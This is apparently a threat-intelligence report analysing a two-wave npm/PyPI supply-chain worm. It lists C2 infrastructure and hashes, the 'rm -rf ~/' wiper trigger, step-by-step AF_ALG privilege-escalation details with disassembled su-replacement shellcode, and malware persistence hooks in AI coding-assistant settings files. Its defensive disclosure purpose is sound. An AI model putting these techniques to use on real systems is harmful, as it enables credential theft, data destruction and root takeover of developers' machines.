The Full Account: TeamPCP's Mini Shai-Hulud Supply Chain Campaign, Waves 1 & 2

May 13, 2026Crimson7 Research Team
supply chainmalwarethreat intelligenceOSINTGitHubnpmPyPITeamPCPwormincident response

TLP: WHITE - Unrestricted distribution

Disclaimer: All interaction with attacker-controlled infrastructure described in this post was strictly passive - read-only analysis of publicly accessible repositories and network probing for intelligence purposes only. No attacker systems were accessed, modified, or disrupted. Victim-identifying information (email addresses, employee names, and organizations that have not made their own public disclosure) has been generalized or omitted in compliance with GDPR obligations and responsible disclosure norms. Attacker-attributed email addresses and GitHub account identifiers are published as threat intelligence in the public interest.


1. The Full Picture

When we published our Wave 1 analysis on May 1, 2026, we described a supply chain attack that had compromised SAP's npm publishing pipeline, created 2,211 dead-drop repositories across compromised developer accounts, and exfiltrated 15.93 MB of encrypted credentials - all in a 7.5-hour window. Twelve days later, the same actor was back, wider in scope and more capable in every measurable dimension.

This post is the unified account of the Mini Shai-Hulud campaign from inception through Wave 2. Where our individual wave posts were written under time pressure against an active threat, this version assembles the complete forensic picture: both waves, the full timeline, every technique, every indicator, and everything we know about who is behind it.

The actor is TeamPCP. The campaign was active from at least March 2026 through the date of this publication. The total scope is 2,650 confirmed dead-drop repositories, 2,383 encrypted payload blobs, and 16+ MB of stolen credentials that the operator can decrypt at their convenience. A second malware tier - a compiled Rust binary with Tor C2, a Linux kernel privilege escalation exploit, a cryptominer, and build-file poisoning across six ecosystems - was discovered in Wave 2. That binary scored 1/75 on VirusTotal.


2. Campaign Overview

MetricWave 1Wave 2Combined
Date2026-04-292026-05-11-
Ecosystem targetedSAP Cloud MTA / CAP (npm)TanStack, UiPath, MistralAI (npm + PyPI)-
Entry vectorCompromised CI bot accountGitHub Actions cache poisoning + OIDC memory read-
Dead-drop repos2,211439+ (floor; bisecting pending)2,650+
Encrypted payloads2,295882,383
Exfil volume15.93 MB~0.6 MB confirmed~16.5 MB
Exfil accounts used10 (all compromised victim developers)2 (compromised victim developers)12
Campaign window7.5 hours hot; 35 hours long tailActive as of May 13, 2026-
Payload decryptable?No (RSA private key required)No (same scheme)All 2,383 blobs sealed
C2 channels1 (HTTPS typosquat domain)4 (HTTPS domain + direct IP + Session + Tor)-
Rust binary tierNoYes (Sample A + Sample B)-
VT detection (Rust binary)N/A1/75-

The PBKDF2-based string obfuscation salt changed between waves (ctf-scramble-v2svksjrhjkcejg). The RSA-4096 public key did not. That key - unchanged across all TeamPCP waves since at least March 2026 - is the single strongest pivot indicator for attribution and detection.


3. Data Harvesting

3.1 Wave 1 Corpus

We enumerated dead-drop repositories by searching on two canary strings: "A Mini Shai-Hulud has Appeared" and "Checkmarx Configuration Storage", supplemented with a commit search for "OhNoWhatsGoingOnWithGitHub". Initial enumeration recovered 1,004 repos; splitting the search by time windows to work around GitHub Search API limits revealed the true count: 2,211 repositories across 10 owner accounts. We cloned all repos and ingested the data into a forensic database for structured analysis.

Our Wave 1 forensic corpus - five tables covering accounts, repositories, payloads, commits, and employer attribution - recorded:

  • 2,295 encrypted payload blobs across the 2,211 repos
  • 15.93 MB total exfiltrated data (encrypted)
  • 18 accounts classified: 1 confirmed attacker staging account, 4 compromised developer exfil accounts, 3 compromised SAP bot/maintainer accounts, the rest victim developers

Payload decryption was attempted using the PBKDF2-derived obfuscation key (fd4b0f07b27e8f41bc70b8e2b79d168fb3fe80d7e0b37f43c506136a3418b44d) identified in the malware source. It failed - that key is the string obfuscation cipher, not the payload encryption. All 2,295 blobs remain sealed behind the attacker's RSA-4096 private key.

Wave 1 forensic database - account role classification Figure 1: Account role classification from the Wave 1 forensic database. The VICTIM_DEVELOPER accounts had GitHub OAuth tokens stolen from real developer machines and were used as unwitting exfil infrastructure by the malware.

One forensic bright spot: a commit message in the OhNoWhatsGoingOnWithGitHub format embedded a double-base64-encoded GitHub PAT. The double-base64 encoding is deliberate - GitHub's automated secret scanning revokes plaintext tokens; double-base64 sidesteps that detection. Reported to GitHub Security.

Independent researcher copyleftdev published their own dataset (copyleftdev/mini-shai-hulud-dragnet, CC-BY-4.0) which confirmed our findings and contributed additional SHA256 hashes and the Wave 1 master key (5012caa5847ae9261dfa16f91417042f367d6bed149c3b8af7a50b203a093007).

3.2 Wave 2 Corpus

We searched on "IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner" commit messages and the new canary description "Shai-Hulud: Here We Go Again", cloned all matching repositories, and ingested the data into a forensic database for structured analysis. We recovered 439+ dead-drop repositories across the two Wave 2 exfil accounts.

Our Wave 2 forensic corpus recorded 88 encrypted payload blobs. Encryption scheme unchanged from Wave 1 - all 88 blobs are sealed.

Wave 2 dead-drop repository enumeration Figure 2: Dead-drop repository list from Wave 2 forensic enumeration. Descriptions "Shai-Hulud: Here We Go Again" and Dune-universe repo names (sayyadina-ornithopter-*, harkonnen-navigator-*, etc.) are visible across all 439+ entries.

Wave 2 payload blob table Figure 3: Wave 2 payload blob table from the forensic database. Each row is one AES-256-GCM encrypted credential blob committed to a dead-drop repository. All 88 remain sealed behind the attacker's RSA-4096 private key.

3.3 The Open-Sourced Malware

In the Wave 2 repo set we found g00dfe11ow/Shai-Hulud-Open-Source: a complete TypeScript/Bun implementation of the malware, MIT-licensed, with a README. An identical fork exists at PedroTortoriello/Shai-Hulud-Open-Source - commit da10861592c3cfbc6cb61d83fe1da626968e3057 matches byte-for-byte in both, confirming a single operator. Every commit in the repo is dated January 1, 2099 - the attacker forward-dated their commits by 73 years to float the history to the top of chronological GitHub searches and defeat timeline-based forensic sorting.

g00dfe11ow/Shai-Hulud-Open-Source GitHub repository Figure 4: g00dfe11ow/Shai-Hulud-Open-Source on GitHub. MIT-licensed, complete TypeScript/Bun implementation published by the attacker. README title: "Shai-Hulud: Open Sourcing The Carnage". Git committer identity is TeamPCP_OSS.

All commits dated January 1, 2099 Figure 5: All three commits in the repo carry a January 1, 2099 timestamp - 73 years forward from today. The technique floats the repo to the top of GitHub's chronological search results and defeats timeline-based forensic sorting.

The source confirmed everything Wave 1 analysis inferred and provided source-level visibility into Wave 2's new capabilities, including the wiper logic, OIDC memory extraction, Sigstore provenance flow, and C2 rotation mechanism.

3.4 The Rust Binary Tier

Two typosquat packages - crypto-javascri (npm, targeting crypto-js) and cryptox (PyPI, targeting cryptography) - published by enge31 contained compiled Rust binaries at .claude/settings. Container-isolated static analysis (Kali Docker, network-disconnected) of both revealed a two-tier compiled capability set.

Sample A (SHA256: 461460c0c9745b70bd9617019d85efb1e61a143df2fd5e9cc9613b4f7e155fab) - unstripped development artifact, crate ss, modules ss::github and ss::npm. Limited to GitHub credential propagation and npm package attack. Not deployed to production victims.

enge31/crypto-js - typosquat delivery repository Figure 6: enge31/crypto-js - the npm typosquat delivery repository. The .claude/ directory contains Sample A (the Rust binary). Commit author is spoofed as claude (claude@users.noreply.github.com). Commit messages ("minor refactor", "first commit") come from the attacker's eight-entry pool.

Sample B (SHA256: 511b039448227e48c14e715c3ff8ceaac82f7e4781df60e1c5f1eb79bba86e98) - stripped for production deployment, 6,619,600 bytes (6.3 MiB), dynamically linked against libsqlite3, libssl, libcrypto, and the Rust standard library. Full RAT: Tor v3 C2, XMRig cryptominer, build-system poisoning across 6 ecosystems, Linux kernel privilege escalation, cryptocurrency wallet theft. VirusTotal detection as of May 13, 2026: 1/75 - Microsoft ML engine only (Trojan:Script/Wacatac.B!ml). CrowdStrike, SentinelOne, Elastic, ESET, Kaspersky, Sophos, TrendMicro, BitDefender: all clean.

An unknown third party submitted Sample B to Hybrid Analysis on May 12, 2026 at 17:03:42 UTC - 24 hours before Crimson7's container-isolated analysis. The HA sandbox completed its report at 17:06:43 UTC (3 minutes after submission). Report: 6a035d6dc31146dc8f0a7645 Sandbox results confirmed: CrowdStrike Falcon sandbox: Clean (Static Analysis and ML); MetaDefender multi-scan: 2/26 malicious - giving a combined HA detection rate of 4% and the Trojan_Script_Wacatac_B_ml family label. CrowdStrike's own sandbox returning clean while their VirusTotal engine also returns clean is notable: Sample B evades both CrowdStrike's signature and ML models in a sandbox environment. One additional detail from HA's file typing: the binary is classified as MIME application/x-sharedlib rather than a standard ELF executable - a consequence of building as a position-independent executable (PIE), which makes the binary appear as a shared library to file-type detectors and may contribute to bypassing execution controls that gate on executable MIME type.

Sample B Hybrid Analysis overview - CrowdStrike Clean, MetaDefender 2/26 Figure 8a: Hybrid Analysis overview for Sample B (settings, SHA256: 511b039...). Submitted 2026-05-12 17:03:42 UTC by an unknown third party, one day before Crimson7's analysis. CrowdStrike Falcon sandbox returns Clean; MetaDefender multi-scan returns 2/26. Combined AV detection rate: 4%. Family label: Trojan_Script_Wacatac_B_ml. Full report

Crimson7 second submission - May 14, 2026 07:02:36 UTC. Crimson7 re-submitted Sample B to Hybrid Analysis on May 14 using the Heavy Anti-Evasion action script on a Linux Ubuntu 24.04 (64 bit) guest. Heavy Anti-Evasion instructs the Falcon Sandbox to apply aggressive countermeasures against VM-aware malware - patching CPUID responses, spoofing DMI/BIOS values, and manipulating timing signals. The result was markedly different from the May 12 submission: verdict: suspicious, Threat Score: 35/100, AV Detection: 7%, and a new family label of LINUX.Agent. The sandbox mapped 20 indicators to 17 ATT&CK techniques across 6 tactics. Critically, HA itself flagged a verdict mismatch: "This report's verdict does not match other analysis results for this SHA256. The report may be outdated." This banner confirms the May 12 (Clean) and May 14 (Suspicious) results are divergent - directly attributable to the standard sandbox being fooled by Sample B's environment detection, while the Heavy Anti-Evasion sandbox partially bypassed those guardrails and produced a detection signal.

Suspicious indicators surfaced by the Heavy Anti-Evasion run:

  • Anti-Detection/Stealthiness: Binary might be packed - the Falcon Sandbox heuristic flagged the binary's PBKDF2-obfuscated string table and compressed Rust sections as potential packing. This is consistent with our static analysis finding that all sensitive strings are encrypted with compile-time PBKDF2 key derivation.
  • Environment Awareness - additional indicators visible in the full report detail view (6 suspicious indicators total).

Full report

Sample B Hybrid Analysis - Falcon Sandbox Heavy Anti-Evasion, verdict Suspicious Figure 8c: Hybrid Analysis Falcon Sandbox report for Sample B submitted by Crimson7 on 2026-05-14 07:02:36 UTC using the Heavy Anti-Evasion action script (Ubuntu 24.04, 64-bit guest). Verdict: Suspicious. Threat Score: 35/100. AV Detection: 7%. Family label: LINUX.Agent. 20 indicators mapped to 17 ATT&CK techniques across 6 tactics. The verdict mismatch banner confirms the standard sandbox (May 12, Clean) was evaded while the anti-evasion run partially bypassed Sample B's environment detection. Full report

any.run sandbox analysis - May 14, 2026 08:46:52 UTC. Crimson7 submitted Sample B to any.run (report) on Ubuntu 22.04.2 with network enabled and run-as-root. Verdict: No threats detected. The binary itself never appeared as a monitored process - only the parent shell (/bin/sh -c "chmod +x ... && ./settings_malware") and chmod were captured, both exiting with code 256 (exit code 1). The settings_malware process launched, immediately fired the /usr/bin/udevadm DMI check (captured in the behavioral warning stream), detected the any.run VM environment, and self-terminated before any payload phase could execute. Zero connections to attacker C2 infrastructure. Zero file drops. Process tree terminated within seconds.

This is T1480 Execution Guardrails working exactly as designed. The binary successfully identified the sandbox at the DMI/BIOS profiling stage and exited cleanly - leaving any.run with nothing to analyze and returning a clean verdict. The any.run MIME classifier typed the binary as application/x-pie-executable - note the divergence from HA's application/x-sharedlib for the same SHA256; both confirm PIE ELF, different classifiers reach different labels.

Three-sandbox comparison.

SandboxDate (UTC)ConfigVerdictBinary executed?
HA Falcon (unknown party)May 12, 17:03StandardClean - 4% AVYes - evaded fully
any.runMay 14, 08:46Standard + rootNo threatsNo - self-terminated on DMI check
HA Falcon (Crimson7)May 14, 07:02Heavy Anti-EvasionSuspicious - 35/100Partially - guardrails bypassed

The pattern is unambiguous: standard sandboxes are defeated. Only aggressive anti-evasion tooling produces a detection signal. Defenders relying on default sandbox automation will receive clean verdicts for this sample.

Community activity - May 14, 2026. A Hybrid Analysis search for vxfamily:"Trojan_Script_Wacatac_B_ml" on May 14 returned 50+ samples, with at least 23 submitted in a concentrated burst on May 14 between 00:11 and 00:21 UTC. None of the 50 page-1 results match Sample B's SHA256 - HA classifies Sample B under a different internal family tag, and the Wacatac label it carries comes from the Microsoft ML detection forwarded from VirusTotal. The 50+ community submissions indicate the security research community is actively tracking and submitting samples from this family cluster independently of Crimson7's investigation.

Hybrid Analysis search results for Trojan_Script_Wacatac_B_ml - community submissions May 13–14 Figure 8b: HA search results for vxfamily:"Trojan_Script_Wacatac_B_ml" as of May 14, 2026. Multiple ELF 64-bit samples submitted by different parties on May 13–14, all tagged "Asymmetrically linked" - consistent with PIE ELF binaries. Threat levels range from suspicious to malicious. The volume of independent community submissions confirms this family is under active broad investigation.

Compiler banner (from ELF .comment section): GCC 16.1.1, build date April 30, 2026, LLD 22.1.4 (LLVM commit eaab4d9841b9), Rust stdlib commit f964de49bcb561e5c6c725bb37201e11d852daf0. This April 30 build date - coupled with the January 2099 commit timestamps in the open-source repo - is the same anti-forensic pattern at two different layers.

enge31/cryptography - .claude/settings malware file and build poisoning files Figure 7: enge31/cryptography file tree (PyPI typosquat targeting the cryptography package). The .claude/ directory contains settings (Sample B, the full Rust RAT) and settings.json. Root-level _buildutils.py and pyproject.toml are the Python build poisoning files. Commit message "fix edge case" is from the attacker's eight-entry random pool.


4. Infrastructure and C2 Evolution

4.1 Wave 1 Infrastructure

Wave 1 ran a single-domain exfil stack:

  • Primary C2: audit.checkmarx.cx (typosquat of checkmarx.com) - NXDOMAIN as of May 1, 2026
  • Underlying server: 94.154.172.43 (AS209101, IP Vendetta Inc., Amsterdam) - still live as of April 30
  • Domain registered April 23, 2026 - six days before the campaign launched

The architecture deliberately separated data transit from the C2 endpoint. Victims only ever contacted github.com (standard HTTPS) to write dead-drop repos. The attacker-controlled collection accounts then pulled those repos and forwarded to audit.checkmarx.cx. Blocking the C2 domain would not have stopped a single byte leaving victim environments during the campaign window.

4.2 Prior TeamPCP Infrastructure (March–April 2026)

TeamPCP has been operating since at least March 2026, with a consistent C2 typosquatting pattern:

WaveDomain / IPNotes
March 2026checkmarx[.]zoneKICS (Checkmarx IaC scanner) campaign
March 202683.142.209.11KICS / LiteLLM wave C2
March 202683.142.209.203Telnyx PyPI wave C2
March 2026scan.aquasecurtiy[.]orgTrivy wave C2 (typosquat of aquasecurity.com)
March 202645.148.10.212Trivy wave C2
March 2026models.litellm[.]cloudLiteLLM wave C2
March 2026tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioCanisterWorm ICP blockchain C2 - cannot be sinkholed
April 22–23Same RSA key@bitwarden/cli@2026.4.0 - 93-minute dress rehearsal
April 23checkmarx[.]cx registeredWave 1 preparation
April 28First dead-drop repoAttacker pipeline test

The ICP blockchain C2 - using Internet Computer Protocol as a command channel - is the most forward-looking element in the historical record. A domain cannot be seized if it does not exist. TeamPCP appears to have been experimenting with takedown-resistant infrastructure since March.

4.3 Wave 2 Infrastructure - Defense-in-Depth Exfil Stack

Wave 2 reflects a studied response to Wave 1's disruption. After checkmarx.cx was taken down, the attacker rebuilt with four parallel channels, each independent:

Channel 1 - HTTPS typosquat domain: git-tanstack.com, plausible enough that a developer might not notice it in proxy logs. Port 443, beacon format from TypeScript source's sender/domain/domainSenderFactory.ts.

Channel 2 - Direct IP: 83.142.209.194, used by the Python variant. Related domain api.masscan.cloud serves as an additional C2 endpoint.

Channel 3 - Session decentralized messenger: Exfil routes through filev2.getsession.org and seed nodes seed1-3.getsession.org. Session is an onion-routed decentralized protocol. There is no domain to seize, no server to take down. The attacker's Session recipient ID - 05f9e609d79eed391015e11380dee4b5c9ead0b6e2e7f0134e6e51767a87323026 - is the only stable identifier.

Channel 4 - Tor v3 hidden service (Rust binary only): 1cpur2zdsv762uzyoyzma6pvzz4a2xhv64zdouxpjlu3exyks7gh7leyd.onion, with clearnet fallbacks at 45.80.158.93 (ports 143 and 1438) and 86.14.169.71:443. Static analysis identified three additional clearnet IPs - 195.176.3.23, 23.108.55.71, 91.92.109.23 - appearing outside the Tor consensus context, suggesting direct fallback contacts. The binary carries approximately 100 hardcoded Tor relay entries via the embedded arti Rust Tor client.

The hidden service is hardened against two categories of Tor-level attack. Proof of Work (HiddenServiceProofOfWorkV1MaxEffort / PowParamsV1) requires clients to solve a compute puzzle before the introduction circuit is accepted, protecting against DDoS attacks on the rendezvous point. Vanguards (vanguards-hs-service, guard-hs-l2/l3 parameters) cycle the guard relays used by the hidden service on a schedule, preventing guard-discovery attacks that could deanonymize the C2 operator's server. Both strings appear verbatim in Sample B; neither appears in the embedded arti consensus blob, confirming they are explicit configuration directives compiled into the binary. Together they indicate an operator with enough Tor operational security knowledge to protect C2 availability and anonymity from active adversaries, not just passive observation.

C2 domain rotation: The TypeScript component searches GitHub for Ed25519-signed commits containing the string thebeautifulmarchoftime (trailing space is significant - distinguishes from thebeautifulsnadsoftime, the token recovery channel). The domain in the latest signed commit is used. Unsigned commits are rejected. This means C2 infrastructure can change silently without redeploying the malware.


5. The Attack Chain

5.1 Wave 1: Package Publication via Compromised CI Bot

The attacker gained access to CloudMTABot, the SAP CircleCI service account used to publish the mbt package to npm. On April 29 at 09:55 UTC, they published mbt@1.2.48 - a plausible increment on an actively maintained package. Three more packages followed within the hour, all sharing the same malicious setup.mjs loader. npm's postinstall hook fires on npm install with no user interaction required.

Simultaneously, gruposbftechrecruiter - the confirmed attacker staging account - opened draft PR #1223 against SAP/cloud-mta-build-tool titled "feat: ci speedup". This PR was designed to trigger the CircleCI pipeline and steal CLOUD_MTA_BOT_NPM_TOKEN - durable, legitimate publish rights that would not require maintaining access to a compromised account. They were planning the next campaign before the current one peaked.

5.2 Wave 1: Payload Delivery and Credential Harvest

setup.mjs drops and executes execution.js - 11.7 MB, heavily obfuscated (48,370 string-table entries, PBKDF2-derived keystream, Fisher-Yates shuffled XOR cipher). Its actions:

  • Process memory scraping: a Python-based /proc/mem dumper captures credentials from running processes, including masked GitHub Actions secrets that never appear in CI logs
  • Credential file harvest: AWS credential files, SSH keys, shell history, .env files, cloud provider config directories - 134+ targeted paths
  • Bitwarden CLI vault extraction: the simultaneously-published trojanized @bitwarden/cli@2026.4.0 (93 minutes live on April 22–23, same RSA key) enabled vault-level credential access on machines with Bitwarden CLI installed
  • CI/CD pipeline harvest: environment variable dumps from CI runners
  • CIS kill switch: Exiting as russian language detected! - the malware exits without executing if the runtime locale is Russian

5.3 Wave 1: GitHub Dead-Drop Exfiltration

The exfil flow does not touch the C2 server directly from the victim host. Each session's harvested data is compressed, encrypted under a fresh AES-256-GCM session key, and the session key is wrapped with the attacker's embedded RSA-4096 public key. This envelope is committed to a newly created repository on the victim's own GitHub account - the malware reuses the victim's own GitHub OAuth token to create repos it controls. Repository descriptions read "A Mini Shai-Hulud has Appeared" or "Checkmarx Configuration Storage". Repository names follow a Dune-universe word pair plus number: harkonnen-navigator-149, kralizec-sandworm-727, and 2,209 others.

Attacker-side, the GitHub OAuth tokens stolen from compromised developer accounts were used to enumerate and pull those dead-drop repos, then forward the blobs to audit.checkmarx.cx. Subsequent commit metadata analysis confirmed these accounts are compromised victim developers, not attacker-created identities. Their identities are withheld per GDPR.

5.4 Wave 1: IDE and CI Persistence

The malware installs three persistence hooks:

  • .claude/settings.json - hooks the Claude Code SessionStart event; re-executes execution.js on every new AI coding session on the affected machine
  • .vscode/tasks.json - folderOpen task; re-executes execution.js when VS Code opens any project folder
  • .github/workflows/format-check.yml - injected CI workflow; re-runs the harvester in the CI runner on every push, capturing secrets that may differ from the developer's local environment

The IDE persistence paths are particularly insidious: they target the two most common development environments, and most EDR rules have no coverage for .claude/settings.json or .vscode/tasks.json as execution vectors.

Wave 2 extends the Claude hook independently in the Rust binary. Sample B carries the string hooksSessionStartmatcher./settings verbatim. This is a settings.json hook configuration fragment pointing to .claude/settings - the Rust binary's own self-install path. The TypeScript Wave 1 component and the compiled Wave 2 Rust binary both implement Claude Code SessionStart persistence independently, confirming it is a deliberate design pattern across the toolchain rather than a copied artifact. Binary-level detection: the concatenated string hooksSessionStartmatcher./settings has zero legitimate uses.

5.5 Wave 2: GitHub Actions Cache Poisoning

Wave 2 introduced a technique that does not require a developer to run npm install at all.

The attacker forked TanStack/router, renamed the fork zblgg/configuration, and opened a pull request against the upstream repository. The TanStack router CI uses a pull_request_target workflow trigger, which - by design - runs with the repository's full write permissions even when the PR originates from an external fork. The attacker's code ran in that privileged context and poisoned the shared pnpm store cache. Subsequent legitimate builds by real TanStack developers pulled the poisoned cache and executed attacker binaries. The initial access was a single PR opened by voicproducoes on May 10; the infection vector then ran independently of any further attacker action.

voicproducoes is a cross-wave actor: the same account holds a Wave 1 dead-drop repository (voicproducoes/tleilaxu-ornithopter-43), confirming operational continuity between campaigns.

5.6 Wave 2: OIDC Token Extraction from Process Memory

Wave 1's credential harvesting relied on credential files and environment variables. Wave 2 added a technique that bypasses both.

GitHub Actions OIDC tokens are held in .NET runtime memory in the GitHub Actions Runner.Worker process. They are never written to disk. They never appear in CI logs. They are designed to be invisible to file-based scanners. The Wave 2 malware uses a Python stager (PYTHON_LOADER.py) to read the Runner.Worker process memory via /proc/<pid>/mem, locate the OIDC token by pattern, and extract it.

An OIDC token can be exchanged for npm publish credentials without possessing any stored secret. The worm validates scope (login, repo access, org membership, write permissions) before activating, to minimize failed attempts that could alert. It then republishes to every npm registry the victim has write access to.

This is why the Wave 1 detection approach - scan for .npmrc token theft - completely misses Wave 2. There is no .npmrc read. There is a memory read of a process that looks entirely legitimate.

5.7 Wave 2: Sigstore SLSA v1 Provenance Forgery

The worm-published packages include valid Sigstore-signed SLSA v1 provenance attestations. The packages pass npm audit signatures. This is not a bypass - the attacker satisfies the check legitimately, because they are publishing through a GitHub Actions OIDC flow that Sigstore accepts as a trusted build environment. The worm uses the same extracted OIDC token to both publish the package and generate the provenance attestation.

The consequence: defenders who implemented npm provenance verification as a supply chain control will see a green checkmark on infected packages. npm audit signatures verifies the publish pipeline, not the intent of whoever controls it. If the CI environment is compromised before the package is published, the provenance is genuine and the package is malicious simultaneously.

5.8 Wave 2: Injected GitHub Actions Workflow

Using the victim's stolen GitHub token, the malware injects .github/workflows/codeql_analysis.yml into victim repositories. Commit author is spoofed as github-advanced-security[bot] - a name chosen specifically because real CodeQL workflows authored by that account are commonplace. The injected workflow calls toJSON(secrets) - a built-in GitHub Actions function that serializes all workflow secrets to JSON - and writes the output for exfiltration. After execution, the workflow deletes both the run logs and the branch. From the GitHub audit log, it looks like a routine security scan.

5.9 Wave 2: Self-Propagating Worm

Once in possession of an npm OIDC-derived token, the malware propagates:

  1. Enumerate all packages the victim can publish to
  2. Download the current published version
  3. Inject the payload (setup.mjs / router_init.js)
  4. Republish under a higher version number
  5. Each newly infected package repeats the cycle for its own installers downstream

The worm preferentially targets bypass_2fa npm token scopes - tokens that allow publishing on accounts with 2FA enforcement, making revocation the only reliable remediation. The string bypass_2fa appears verbatim in Sample B's binary, concatenated with the preinstall hook path, confirming this is an explicit capability. Separately, the mutator/branch/index.ts TypeScript module pushes five files - including README.md, package.json, and CI workflow files - to every branch of every accessible repository using the GitHub GraphQL createCommitOnBranch mutation. This uses existing push rights and does not trigger branch protection alerts in most configurations.

The worm spread to @tanstack/* (42 packages, 84 versions), @uipath/* (60–70 packages), @squawk/*, @mistralai/mistralai, guardrails-ai, mistralai==2.4.6 (PyPI), and dozens of others - 170+ npm packages total, 373 malicious versions.

5.10 Wave 2: The Wiper and Deadman Switch

The commit message IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner is not a bluff.

The malware installs a daemon named gh-token-monitor as a macOS LaunchAgent (~/Library/LaunchAgents/com.user.gh-token-monitor.plist) or Linux systemd user service (~/.config/systemd/user/gh-token-monitor.service). Every 60 seconds the daemon validates the stolen GitHub OAuth token against the GitHub API. If it receives HTTP 4xx - token revoked - it executes rm -rf ~/.

The installTokenMonitor() function in the open-sourced sender/github/githubSender.ts shows the implementation: the daemon binary is written to disk via stdin (avoiding command-line argument logging), then enabled via launchctl load or systemctl --user enable. The wiper handler is three characters: rm -rf ~/.

⚠ Critical containment rule: Do not revoke any stolen GitHub tokens until you have confirmed the daemon is removed from every affected host. The safe order is: (1) enumerate gh-token-monitor instances (W2-Q4), (2) remove the daemon from all hosts via live response or endpoint management, (3) remove .claude/ and .vscode/ persistence, (4) then revoke tokens. Reversing those steps wipes the host.

Wiper threat commit - Gimpy9587 dead-drop repo Figure 8: Commit bf6efed in a Gimpy9587 dead-drop repository. The commit message encodes the wiper threat concatenated with a base64-encoded GitHub OAuth token (WjJodlh6bDZha1E1Y0V4UlVWWTBZ*********Qz0=). Commit author is spoofed as claude. Zero files changed - the commit exists solely as a data carrier for the embedded token.

Two stolen wiper-threat tokens are embedded in Wave 2 dead-drop commit messages. Revocation coordination with GitHub Security must happen only after the daemon is confirmed removed from all victim machines.

5.11 Wave 2: Build System Poisoning (Rust Binary - Sample B)

Sample B does something the TypeScript component does not: it permanently poisons build files in every repository the victim can push to. Using the GitHub Git Data API directly (not git CLI - stealthier, no process artifacts), it commits modified build files to every accessible branch of every accessible repository. All poisoned files carry the same payload: execute .claude/settings, the binary's self-install path.

Six build ecosystems are targeted:

FileEcosystemTrigger
build.rsRust/CargoEvery cargo build
setup.pyPythonpip install -e .
pyproject.tomlPythonCustom _buildutils build backend
CMakeLists.txtC/C++ via CMakeexecute_process(COMMAND ".claude/settings")
conanfile.pyConan C/C++Package build hook
portfile.cmakevcpkgPort install hook

The build poisoning commit messages are chosen randomly from an eight-entry pool found verbatim in the binary: "update dependencies", "bump version", "minor refactor", "cleanup dead code", "fix formatting", "update README", "fix lint warnings", "fix edge case". Commit author is always claude@users.noreply.github.com - a GitHub bot account named claude.

A developer who clones an infected repository and runs any build - weeks or months from now, with no active campaign infrastructure - executes Sample B. This is the long-tail threat: the TypeScript worm requires live C2; the build file poisoning does not.

5.12 Wave 2: XMRig Cryptominer (Rust Binary - Sample B)

After establishing Tor C2 connectivity, Sample B receives a hbresp miner_config heartbeat response carrying an XMRig configuration blob. The full struct, recovered from binary panic strings, has eight fields:

FieldDescription
campaign_idPer-campaign tag; victims from the same wave share an ID
payoutAccumulated per-victim Monero payout tracked by operator
cpu_percentageXMRig CPU usage cap, injected as XM_MAX_THREADS_HINT
loginMining pool username
minerXMRig binary path or config identifier
collectedBoolean gate: marks victim as credential-collected
histogramMining yield distribution data returned to operator
metadata_endpointURL for victim metadata reporting, distinct from the main heartbeat

Environment variables XM_POOL, XM_ADDRESS, XM_MAX_THREADS_HINT are set from the response and XMRig is spawned as a subprocess via posix_spawnp. A watchdog restarts it on crash.

The Monero wallet address is not hardcoded in the binary. It is injected at runtime via XM_ADDRESS from the C2 heartbeat response - no static wallet IOC can be extracted. The collected field suggests the operator pipeline gates miner deployment on successful credential exfiltration - machines that have not yet returned credentials may not receive an XMRig configuration at all. The metadata_endpoint field, separate from the Tor C2, points to an additional reporting channel for victim profiling data. This is active financial management with per-victim yield accounting, not background resource theft.

5.13 Wave 2: Runtime Evasion (Rust Binary - Sample B)

Four ELF syscall imports explain the 1/75 VT detection rate in combination with compile-time obfuscation:

memfd_create - anonymous memory-backed file descriptor with no filesystem entry. Secondary payloads (miner updates, new modules) are fetched and executed entirely in memory, leaving nothing on disk for forensic tools.

utimensat - file timestamp manipulation. After self-install, the binary resets its own mtime to blend with surrounding files. The operator log string [+] Timestomp successful confirms this is an instrumented, verified step in the deployment sequence - not a best-effort attempt. File integrity monitoring that checks only mtime is blind to this; hash-based monitoring is required.

prctl - process name manipulation. The binary replaces its /proc/<pid>/comm entry with the exact string kworker/0:1-events - a deliberate choice. kworker/0:1-events is a real kernel worker thread format; legitimate instances appear in every Linux system's ps output. Combined with daemonization, the malware process is indistinguishable from kernel bookkeeping at a glance. The hardcoded name was extracted from binary offset 268,529 during static analysis.

fork + setsid + dup2 + chdir - Unix double-fork daemonization. The binary detaches from its parent, creates a new session, redirects file descriptors, and changes working directory to /. It survives terminal closure, parent death, and SIGHUP.

Together: no recognizable strings (obfuscated), no static markers (stripped), runs nameless, leaves no disk artifacts from secondary payloads, manipulates own timestamps. Everything else was blind. Behavioral detections - .claude/settings execution, memfd_create from unexpected processes, /usr/bin/su modification - are the only reliable signals.

5.14 Wave 2: Linux Privilege Escalation Module (Rust Binary - Sample B)

This capability was not documented in any prior analysis. It was discovered during container-isolated static reverse engineering and was confirmed from binary string analysis.

Sample B embeds a hex-encoded Python script that activates when getresuid() returns a non-zero effective UID - i.e., when the binary is not running as root. The script implements a kernel AF_ALG socket exploitation technique:

  1. Opens /usr/bin/su as a read-only file descriptor
  2. Creates an AF_ALG socket (type 38) bound to cipher authencesn(hmac(sha256),cbc(aes))
  3. Sets the cipher key and AEAD auth size via ALG_SET_KEY / ALG_SET_AEAD_AUTHSIZE on SOL_ALG
  4. Uses splice() to transfer the inner payload through the kernel crypto processing path into the read-only su file descriptor - bypassing normal write protections
  5. Inner payload: a zlib-compressed 218-byte ELF binary that replaces /usr/bin/su on disk

We extracted and decompressed the inner payload. Disassembly of its 98-byte code section reveals exactly what the replacement su does:

xor eax, eax
xor edi, edi
mov al, 0x69       ; syscall 105
syscall            ; setuid(0) - become root unconditionally

mov rbx, [rsp+0x10] ; save argv[1] - the command passed to su
...                 ; build argv = ["/bin/sh", "-c", <argv[1]>]
mov rdi, "/bin/sh"
push 0x3b
pop rax
syscall            ; execve("/bin/sh", ["/bin/sh", "-c", cmd], NULL)

xor edi, edi
push 0x3c
pop rax
syscall            ; exit(0)

Two syscalls. No SUID check. No password prompt. The patched /usr/bin/su calls setuid(0) unconditionally, then passes its argument directly to /bin/sh -c as root.

This makes the impact significantly worse than a one-time privilege escalation. The patched binary stays on disk. Every future invocation of su <command> by any user on the system - including legitimate administrator use - executes that command as root with no authentication. It is a persistent rootkit that survives reboots and session changes until the package manager replaces /usr/bin/su with a clean version.

